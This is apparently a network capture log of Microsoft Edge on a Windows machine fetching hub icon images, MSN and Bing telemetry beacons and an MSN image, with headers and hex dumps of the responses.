Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:54 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:55 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:55 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 42e5464d-901e-0069-451f-3e37ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T181155Z-178bfbc474bp8mkvhC1NYCzqnn000000063000000000fuq9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 18:11:55 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49813	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:54 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:55 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:55 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: bafa44f4-301e-006f-795a-3ec0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T181155Z-15b8b599d88hd9g7hC1TEBp75c00000004q000000000k28p Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 18:11:55 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49811	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:54 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:55 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:55 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: b89fa148-901e-002d-4fd8-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T181155Z-174c587ffdfcj798hC1TEB9bq400000004x000000000g34k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 18:11:55 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49797	20.110.205.119	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:56 UTC	1175	OUT	GET /c.gif?rnd=1732471915191&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7802fdab79c14bad93100131b39abd85&activityId=7802fdab79c14bad93100131b39abd85&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1
2024-11-24 18:11:57 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732471915191&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7802fdab79c14bad93100131b39abd85&activityId=7802fdab79c14bad93100131b39abd85&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=477706E2E3824BFEB5EF182FCAD13ED3&RedC=c.msn.com&MXFR=1F3CC8AC76826FD52AA3DDED77AB6EB5 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; domain=.msn.com; expires=Fri, 19-Dec-2025 18:11:56 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sun, 24 Nov 2024 18:11:56 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49801	18.160.60.23	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:56 UTC	925	OUT	GET /b?rn=1732471915192&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1F3CC8AC76826FD52AA3DDED77AB6EB5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:56 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sun, 24 Nov 2024 18:11:56 GMT Location: /b2?rn=1732471915192&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1F3CC8AC76826FD52AA3DDED77AB6EB5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1F6d6f6fa4cfd258e6ec3401732471916; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1F6d6f6fa4cfd258e6ec3401732471916; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 b30a70eb82ffb36639f346ad3bc8e3c6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P1 X-Amz-Cf-Id: caw4QtWnk7yxUaN66Ri_AQ_ogjtaepGzc924Fm_FpXvtXpNLTIzlIg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49819	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:56 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:57 UTC	543	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:57 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: afb6acf6-d01e-0008-1e5a-3e7374000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T181157Z-178bfbc474bbcwv4hC1NYCypys000000067g000000004eut Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 18:11:57 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49818	13.107.246.40	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:57 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:57 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:57 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 18408825-201e-001d-5ef8-3cb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T181157Z-174c587ffdftv9hphC1TEBm29w00000004n000000000n9rv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 18:11:57 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49798	13.107.21.237	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:57 UTC	1269	OUT	GET /c.gif?rnd=1732471915191&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7802fdab79c14bad93100131b39abd85&activityId=7802fdab79c14bad93100131b39abd85&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=477706E2E3824BFEB5EF182FCAD13ED3&RedC=c.msn.com&MXFR=1F3CC8AC76826FD52AA3DDED77AB6EB5 HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-MS-GEC: 2BAF25C811310AF18BF35427EE7F36133E8C777D9E1FD355A4F402C805019081 Sec-MS-GEC-Version: 1-117.0.2045.47 Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:57 UTC	1700	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.msn.com/c.gif?rnd=1732471915191&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7802fdab79c14bad93100131b39abd85&activityId=7802fdab79c14bad93100131b39abd85&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=477706E2E3824BFEB5EF182FCAD13ED3&MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; domain=.bing.com; expires=Fri, 19-Dec-2025 18:11:57 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Sun, 01-Dec-2024 18:11:57 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=1F3CC8AC76826FD52AA3DDED77AB6EB5; domain=c.bing.com; expires=Fri, 19-Dec-2025 18:11:57 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_M=1F3CC8AC76826FD52AA3DDED77AB6EB5; domain=c.bing.com; expires=Fri, 19-Dec-2025 18:11:57 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 4A5F25B4B8E04C5ABA928BA898A1825F Ref B: EWR30EDGE1117 Ref C: 2024-11-24T18:11:57Z Date: Sun, 24 Nov 2024 18:11:56 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49802	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:57 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKXX.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:11:57 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKXX Last-Modified: Fri, 08 Nov 2024 23:29:14 GMT X-Source-Length: 156241 X-Datacenter: eastap X-ActivityId: b3944467-3fcf-463e-9d8f-4ae6151c16c7 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 156241 Cache-Control: public, max-age=234996 Expires: Wed, 27 Nov 2024 11:28:33 GMT Date: Sun, 24 Nov 2024 18:11:57 GMT Connection: close
2024-11-24 18:11:57 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-24 18:11:57 UTC	16384	IN	Data Raw: 5e b5 1e dd ab 24 76 a6 b0 50 19 02 a5 be a7 6e d5 e0 16 98 14 60 6a 60 11 43 b7 6a da 01 a0 d6 ac 14 39 ac 9a 01 a6 16 68 65 a8 06 6a 10 69 b0 0a 61 4b 54 37 1a f1 06 a1 14 f6 81 4c 26 ea cd f4 28 3c ea 30 68 e0 94 c3 6e ac df 41 83 59 b4 d1 c0 29 85 dd 59 be 85 b4 d4 76 9a 38 05 30 bb ab 26 85 06 b6 0d 36 01 4c 34 9a f6 ea 1d eb 2f 53 04 a6 13 75 46 d5 0b d4 60 d4 16 99 23 15 1e 1a c8 35 18 34 c4 a6 4e 40 ad dd 42 83 59 06 88 b4 c3 ee ad dd 4b 41 af 41 a0 4c 8c 6e ac 91 4b de bd 7a 38 0e 4d 21 4f 4a 5c e3 5a 3d eb 20 d1 05 76 13 38 47 7a 19 c3 ce 9e 83 51 da 68 d8 b5 d8 44 e1 e7 51 f4 a9 fd a6 a3 b6 8d f7 05 76 11 f4 85 67 a4 29 ed a6 a3 b4 d1 b0 69 11 f4 b9 d4 bd 31 4d ed 35 9b 4d 1b 05 76 15 d8 2b 36 53 5b 4d 66 d3 52 c1 5d 80 6d ad 8a 2e d3 59 b4 d4 Data Ascii: ^$vPn`j`Cj9hejiaKT7L&(<0hnAY)Yv80&6L4/SuF`#54N@BYKAALnKz8M!OJ\Z= v8GzQhDQvg)i1M5Mv+6S[MfR]m.Y
